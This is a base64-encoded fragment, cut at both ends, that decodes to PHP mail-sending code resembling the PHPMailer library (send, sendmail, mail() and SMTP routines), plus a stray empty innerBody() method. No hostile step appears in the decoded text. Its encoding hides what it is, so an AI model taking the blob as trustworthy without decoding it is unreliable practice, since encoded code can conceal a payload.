tpbmQpIHsKICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gdHJpbSgkdGhpcy0+JGFkZHJlc3Nfa2luZCk7CiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPiRhZGRyZXNzX2tpbmQpKSB7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+JGFkZHJlc3Nfa2luZCA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCk7CiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPiRhZGRyZXNzX2tpbmQpKSB7CiAgICAgICAgICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5Db250ZW50VHlwZSA9ICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmUnOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+c2V0TWVzc2FnZVR5cGUoKTsKICAgICAgICAgICAgLy8gUmVmdXNlIHRvIHNlbmQgYW4gZW1wdHkgbWVzc2FnZSB1bmxlc3Mgd2UgYXJlIHNwZWNpZmljYWxseSBhbGxvd2luZyBpdAogICAgICAgICAgICBpZiAoISR0aGlzLT5BbGxvd0VtcHR5IGFuZCBlbXB0eSgkdGhpcy0+Qm9keSkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2VtcHR5X21lc3NhZ2UnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIENyZWF0ZSBib2R5IGJlZm9yZSBoZWFkZXJzIGluIGNhc2UgYm9keSBtYWtlcyBjaGFuZ2VzIHRvIGhlYWRlcnMgKGUuZy4gYWx0ZXJpbmcgdHJhbnNmZXIgZW5jb2RpbmcpCiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJyc7CiAgICAgICAgICAgICR0aGlzLT5NSU1FQm9keSA9ICR0aGlzLT5jcmVhdGVCb2R5KCk7CiAgICAgICAgICAgIC8vIGNyZWF0ZUJvZHkgbWF5IGhhdmUgYWRkZWQgc29tZSBoZWFkZXJzLCBzbyByZXRhaW4gdGhlbQogICAgICAgICAgICAkdGVtcGhlYWRlcnMgPSAkdGhpcy0+TUlNRUhlYWRlcjsKICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSAkdGhpcy0+Y3JlYXRlSGVhZGVyKCk7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICR0ZW1waGVhZGVyczsKCiAgICAgICAgICAgIC8vIFRvIGNhcHR1cmUgdGhlIGNvbXBsZXRlIG1lc3NhZ2Ugd2hlbiB1c2luZyBtYWlsKCksIGNyZWF0ZQogICAgICAgICAgICAvLyBhbiBleHRyYSBoZWFkZXIgbGlzdCB3aGljaCBjcmVhdGVIZWFkZXIoKSBkb2Vzbid0IGZvbGQgaW4KICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ21haWwnKSB7CiAgICAgICAgICAgICAgICBpZiAoY291bnQoJHRoaXMtPnRvKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bWFpbEhlYWRlciAuPSAkdGhpcy0+YWRkckFwcGVuZCgnVG8nLCAkdGhpcy0+dG8pOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bWFpbEhlYWRlciAuPSAkdGhpcy0+aGVhZGVyTGluZSgnVG8nLCAndW5kaXNjbG9zZWQtcmVjaXBpZW50czo7Jyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+bWFpbEhlYWRlciAuPSAkdGhpcy0+aGVhZGVyTGluZSgKICAgICAgICAgICAgICAgICAgICAnU3ViamVjdCcsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKHRyaW0oJHRoaXMtPlN1YmplY3QpKSkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFNpZ24gd2l0aCBES0lNIGlmIGVuYWJsZWQKICAgICAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+REtJTV9kb21haW4pCiAgICAgICAgICAgICAgICAmJiAhZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICYmICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgICYmIGZpbGVfZXhpc3RzKCR0aGlzLT5ES0lNX3ByaXZhdGUpKSB7CiAgICAgICAgICAgICAgICAkaGVhZGVyX2RraW0gPSAkdGhpcy0+REtJTV9BZGQoCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgLiAkdGhpcy0+bWFpbEhlYWRlciwKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSwKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9IHJ0cmltKCR0aGlzLT5NSU1FSGVhZGVyLCAiXHJcbiAiKSAuIHNlbGY6OkNSTEYgLgogICAgICAgICAgICAgICAgICAgIHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGhlYWRlcl9ka2ltKSAuIHNlbGY6OkNSTEY7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQogICAgcHVibGljIGZ1bmN0aW9uIGlubmVyQm9keSgpewoKICAgICAgICAKICAgIH0KICAgIC8qKgogICAgICogQWN0dWFsbHkgc2VuZCBhIG1lc3NhZ2UuCiAgICAgKiBTZW5kIHRoZSBlbWFpbCB2aWEgdGhlIHNlbGVjdGVkIG1lY2hhbmlzbQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcG9zdFNlbmQoKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIC8vIENob29zZSB0aGUgbWFpbGVyIGFuZCBzZW5kIHRocm91Z2ggaXQKICAgICAgICAgICAgc3dpdGNoICgkdGhpcy0+TWFpbGVyKSB7CiAgICAgICAgICAgICAgICBjYXNlICdzZW5kbWFpbCc6CiAgICAgICAgICAgICAgICBjYXNlICdxbWFpbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zZW5kbWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBjYXNlICdzbXRwJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHBTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnbWFpbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgJHNlbmRNZXRob2QgPSAkdGhpcy0+TWFpbGVyLidTZW5kJzsKICAgICAgICAgICAgICAgICAgICBpZiAobWV0aG9kX2V4aXN0cygkdGhpcywgJHNlbmRNZXRob2QpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+JHNlbmRNZXRob2QoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPm1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgJFNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBUaGUgbWVzc2FnZSBib2R5CiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFNlbmRtYWlsCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2VuZG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgIGlmICgkdGhpcy0+U2VuZGVyICE9ICcnKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJyVzIC1mJXMnLCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCBlc2NhcGVzaGVsbGFyZygkdGhpcy0+U2VuZGVyKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWwgPSBzcHJpbnRmKCclcyAtb2kgLWYlcyAtdCcsIGVzY2FwZXNoZWxsY21kKCR0aGlzLT5TZW5kbWFpbCksIGVzY2FwZXNoZWxsYXJnKCR0aGlzLT5TZW5kZXIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJyVzJywgZXNjYXBlc2hlbGxjbWQoJHRoaXMtPlNlbmRtYWlsKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWwgPSBzcHJpbnRmKCclcyAtb2kgLXQnLCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJHRoaXMtPlNpbmdsZVRvKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT5TaW5nbGVUb0FycmF5IGFzICR0b0FkZHIpIHsKICAgICAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZwdXRzKCRtYWlsLCAnVG86ICcgLiAkdG9BZGRyIC4gIlxuIik7CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJGhlYWRlcik7CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJGJvZHkpOwogICAgICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygKICAgICAgICAgICAgICAgICAgICAoJHJlc3VsdCA9PSAwKSwKICAgICAgICAgICAgICAgICAgICBhcnJheSgkdG9BZGRyKSwKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmJjYywKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+U3ViamVjdCwKICAgICAgICAgICAgICAgICAgICAkYm9keSwKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+RnJvbQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFAJG1haWwgPSBwb3Blbigkc2VuZG1haWwsICd3JykpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICBmcHV0cygkbWFpbCwgJGJvZHkpOwogICAgICAgICAgICAkcmVzdWx0ID0gcGNsb3NlKCRtYWlsKTsKICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAoJHJlc3VsdCA9PSAwKSwKICAgICAgICAgICAgICAgICR0aGlzLT50bywKICAgICAgICAgICAgICAgICR0aGlzLT5jYywKICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAkdGhpcy0+U3ViamVjdCwKICAgICAgICAgICAgICAgICRib2R5LAogICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgKTsKICAgICAgICAgICAgaWYgKCRyZXN1bHQgIT0gMCkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICR0b0FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJHBhcmFtcyA9ICcgJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcGFyYW1zID0gc3ByaW50ZignLWYlcycsICR0aGlzLT5TZW5kZXIpOwogICAgICAgIH0KICAgICAgICBpZiAoJHRoaXMtPlNlbmRlciAhPSAnJyBhbmQgIWluaV9nZXQoJ3NhZmVfbW9kZScpKSB7CiAgICAgICAgICAgICRvbGRfZnJvbSA9IGluaV9nZXQoJ3NlbmRtYWlsX2Zyb20nKTsKICAgICAgICAgICAgaW5pX3NldCgnc2VuZG1haWxfZnJvbScsICR0aGlzLT5TZW5kZXIpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0ID0gZmFsc2U7CiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbyAmJiBjb3VudCgkdG9BcnIpID4gMSkgewogICAgICAgICAgICBmb3JlYWNoICgkdG9BcnIgYXMgJHRvQWRkcikgewogICAgICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5tYWlsUGFzc3RocnUoJHRvQWRkciwgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKTsKICAgICAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsIGFycmF5KCR0b0FkZHIpLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MsICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJHRoaXMtPkZyb20pOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5tYWlsUGFzc3RocnUoJHRvLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkcmVzdWx0LCAkdGhpcy0+dG8sICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkb2xkX2Zyb20pKSB7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkb2xkX2Zyb20pOwogICAgICAgIH0KICAgICAgICBpZiAoISRyZXN1bHQpIHsKICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnaW5zdGFudGlhdGUnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogR2V0IGFuIGluc3RhbmNlIHRvIHVzZSBmb3IgU01UUCBvcGVyYXRpb25zLgogICAgICogT3ZlcnJpZGUgdGhpcyBmdW5jdGlvbiB0byBsb2FkIHlvdXIgb3duIFNNVFAgaW1wbGVtZW50YXRpb24KICAgICAqIEByZXR1cm4gU01UUAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U01UUEluc3RhbmNlKCkKICAgIHsKICAgICAgICBpZiAoIWlzX29iamVjdCgkdGhpcy0+c210cCkpIHsKICAgICAgICAgICAgJHRoaXMtPnNtdHAgPSBuZXcgU01UUDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtYWlsIHZpYSBTTVRQLgogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGVyZSBpcyBhIGJhZCBNQUlMIEZST00sIFJDUFQsIG9yIERBVEEgaW5wdXQuCiAgICAgKiBVc2VzIHRoZSBQSFBNYWlsZXJTTVRQIGNsYXNzIGJ5IGRlZmF1bHQuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6Z2V0U01UUEluc3RhbmNlKCkgdG8gdXNlIGEgZGlmZmVyZW50IGNsYXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNtdHBTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICRiYWRfcmNwdCA9IGFycmF5KCk7CiAgICAgICAgaWYgKCEkdGhpcy0+c210cENvbm5lY3QoJHRoaXMtPlNNVFBPcHRpb25zKSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzbXRwX2Nvbm5lY3RfZmFpbGVkJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KICAgICAgICBpZiAoJycgPT0gJHRoaXMtPlNlbmRlcikgewogICAgICAgICAgICAkc210cF9mcm9tID0gJHRoaXMtPkZyb207CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5TZW5kZXI7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnNtdHAtPm1haWwoJHNtdHBfZnJvbSkpIHsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCR0aGlzLT5sYW5nKCdmcm9tX2ZhaWxlZCcpIC4gJHNtdHBfZnJvbSAuICcgOiAnIC4gaW1wbG9kZSgnLCcsICR0aGlzLT5zbXRwLT5nZXRFcnJvcigpKSk7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkVycm9ySW5mbywgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQoKICAgICAgICAvLyBBdHRlbXB0IHRvIHNlbmQgdG8gYWxsIHJlY2lwaWVudHMKICAgICAgICBmb3JlYWNoIChhcnJheSgkdGhpcy0+dG8sICR0aGlzLT5jYywgJHRoaXMtPmJjYykgYXMgJHRvZ3JvdXApIHsKICAgICAgICAgICAgZm9yZWFjaCAoJHRvZ3JvdXAgYXMgJHRvKSB7CiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5yZWNpcGllbnQoJHRvWzBdKSkgewogICAgICAgICAgICAgICAgICAgICRlcnJvciA9ICR0aGlzLT5zbXRwLT5nZXRFcnJvcigpOwogICAgICAgICAgICAgICAgICAgICRiYWRfcmNwdFtdID0gYXJyYXkoJ3RvJyA9PiAkdG9bMF0sICdlcnJvcicgPT4gJGVycm9yWydkZXRhaWwnXSk7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IGZhbHNlOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkaXNTZW50ID0gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRpc1NlbnQsIGFycmF5KCR0b1swXSksIGFycmF5KCksIGFycmF5KCksICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJHRoaXMtPkZyb20pOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBPbmx5IHNlbmQgdGhlIERBVEEgY29tbWFuZCBpZiB3ZSBoYXZlIHZpYWJsZSByZWNpcGllbnRzCiAgICAgICAgaWYgKChjb3VudCgkdGhpcy0+YWxsX3JlY2lwaWVudHMpID4gY291bnQoJGJhZF9yY3B0KSkgYW5kICEkdGhpcy0+c210cC0+ZGF0YSgkaGVhZGVyIC4gJGJvZHkpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2RhdGFfbm90X2FjY2VwdGVkJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KICAgICAgICBpZiAoJHRoaXMtPlNNVFBLZWVwQWxpdmUpIHsKICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnJlc2V0KCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmNsb3NlKCk7CiAgICAgICAgfQogICAgICAgIC8vQ3JlYXRlIGVycm9yIG1lc3NhZ2UgZm9yIGFueSBiYWQgYWRkcmVzc2VzCiAgICAgICAgaWYgKGNvdW50KCRiYWRfcmNwdCkgPiAwKSB7CiAgICAgICAgICAgICRlcnJzdHIgPSAnJzsKICAgICAgICAgICAgZm9yZWFjaCAoJGJhZF9yY3B0IGFzICRiYWQpIHsKICAgICAgICAgICAgICAgICRlcnJzdHIgLj0gJGJhZFsndG8nXSAuICc6ICcgLiAkYmFkWydlcnJvciddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oCiAgICAgICAgICAgICAgICAkdGhpcy0+bGFuZygncmVjaXBpZW50c19mYWlsZWQnKSAuICRlcnJzdHIsCiAgICAgICAgICAgICAgICBzZWxmOjpTVE9QX0NPTlRJTlVFCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogSW5pdGlhdGUgYSBjb25uZWN0aW9uIHRvIGFuIFNNVFAgc2VydmVyLgogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgb3BlcmF0aW9uIGZhaWxlZC4KICAgICAqIEBwYXJhbSBhcnJheSAkb3B0aW9ucyBBbiBhcnJheSBvZiBvcHRpb25zIGNvbXBhdGlibGUgd2l0aCBzdHJlYW1fY29udGV4dF9jcmVhdGUoKQogICAgICogQHVzZXMgU01UUAogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNtdHBDb25uZWN0KCRvcHRpb25zID0gYXJyYXkoKSkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkdGhpcy0+c210cCkpIHsKICAgICAgICAgICAgJHRoaXMtPnNtdHAgPSAkdGhpcy0+Z2V0U01UUEluc3RhbmNlKCk7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYX